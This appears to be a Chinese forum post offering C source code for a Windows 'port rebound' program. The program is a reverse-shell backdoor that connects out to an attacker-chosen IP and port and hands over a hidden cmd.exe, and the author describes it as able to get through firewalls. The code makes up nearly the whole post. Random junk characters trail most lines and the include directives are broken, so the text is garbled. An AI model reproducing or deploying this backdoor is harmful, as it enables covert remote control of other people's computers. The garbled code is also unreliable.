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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 hGrdtsH?  
?cZlN !  
/* ============================== &Qm@9Is  
Rebound port in Windows NT V6Dbd" i9  
By wind,2006/7 ,,TnIouy  
===============================*/ $ Q0n  
#include 31)&vf[[  
#include ]'S^]  
6B-16  
#pragma comment(lib,"wsock32.lib") t,' <gI  
h];I{crh  
void OutputShell(); =M-p/uB]  
SOCKET sClient; wY}@'pzX  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s^SJY{  
]^]wP]R_  
void main(int argc,char **argv) =H~j,K  
{ nFn5v'g  
WSADATA stWsaData; N g,j#  
int nRet; V.Mry`9-  
SOCKADDR_IN stSaiClient,stSaiServer; T C"<g  
p[cX O=  
if(argc != 3) adw2x pj  
{ \v/[6&|X0s  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ss`LLq0LO  
return; _f{{( 7  
} Xr{v~bf  
s`U J1eJ  
WSAStartup(MAKEWORD(2,2),&stWsaData); 28nFRr  
SAz   
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =">NQ)98u  
Mp]rUPK  
stSaiClient.sin_family = AF_INET; pJ{Y lS{  
stSaiClient.sin_port = htons(0); <vP=zk  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?# fQ~ s  
f!"w5qC^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gFh*eCo   
{ @XVTU  
printf("Bind Socket Failed!\n"); ;G!q Y  
return; Ep}s}Stlr}  
} W8<%[-r  
%$mA03[MQ  
stSaiServer.sin_family = AF_INET; M(fTKs  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s@C}P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =Sv/IXX\di  
YK\X+"lB  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ])!*_  
{ Uz7<PLxd  
printf("Connect Error!");  @8 6f  
return; A=4OWV?  
} / j^  
OutputShell(); n*$ g]G$  
} Je{ykL?N  
u&NV,6Fj2[  
void OutputShell() B1STGL`nK  
{ ix$bRdl  
char szBuff[1024]; _j3fAr(V  
SECURITY_ATTRIBUTES stSecurityAttributes; M`>E|" <  
OSVERSIONINFO stOsversionInfo; 1"g<0 W  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >V~E]P%@  
STARTUPINFO stStartupInfo; Lv%x81]K  
char *szShell; ]{iQ21`a-  
PROCESS_INFORMATION stProcessInformation; $C\BcKlmv  
unsigned long lBytesRead; :%.D78&  
?8$Q-1=  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z@Y;r=v  
oQ#8nu{k  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m2o0y++TjW  
stSecurityAttributes.lpSecurityDescriptor = 0; ]tD]Wx%  
stSecurityAttributes.bInheritHandle = TRUE; SdWV3  
&o*A {  
l\mPHA23  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OY d !v`<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  `]X>V,  
+0~YP*I`/  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); d5.4l&\u  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pFXEu= $3  
stStartupInfo.wShowWindow = SW_HIDE; Y 7aqO5  
stStartupInfo.hStdInput = hReadPipe; /NlGFO*Z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yw!{MO  
2?5>o!C  
GetVersionEx(&stOsversionInfo); q@qsp&0/  
/ouPg=+Nl  
switch(stOsversionInfo.dwPlatformId) e!Hhs/&!T  
{ _^;Z~/.  
case 1: : 'c&,oLY  
szShell = "command.com"; xmG<]WF>E  
break; {FG j]*  
default: ""H?gsL[  
szShell = "cmd.exe"; hj:,S |  
break; *Uh!>Iv;  
} RpK@?[4s  
sRW<me;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K8~d^G  
+:f"Y0  
send(sClient,szMsg,77,0); hc1N ~$3!G  
while(1) `gJ(0#ac  
{ Gq6*SaTk  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); TJN4k@\$2  
if(lBytesRead) Si7*& dw=  
{ aYeR{Y]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <[v[ci  
send(sClient,szBuff,lBytesRead,0); %RVZD#zr  
} IcEdG(  
else )7d&NE_  
{ j [a(#V{  
lBytesRead=recv(sClient,szBuff,1024,0); ZoeD:xnh[  
if(lBytesRead<=0) break; TV:9bn?r)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Mhu*[a=;x  
} XuTD\g3)  
} O8o3O 6[Y  
2T1q?L?]  
return; (mOtU8e  
}
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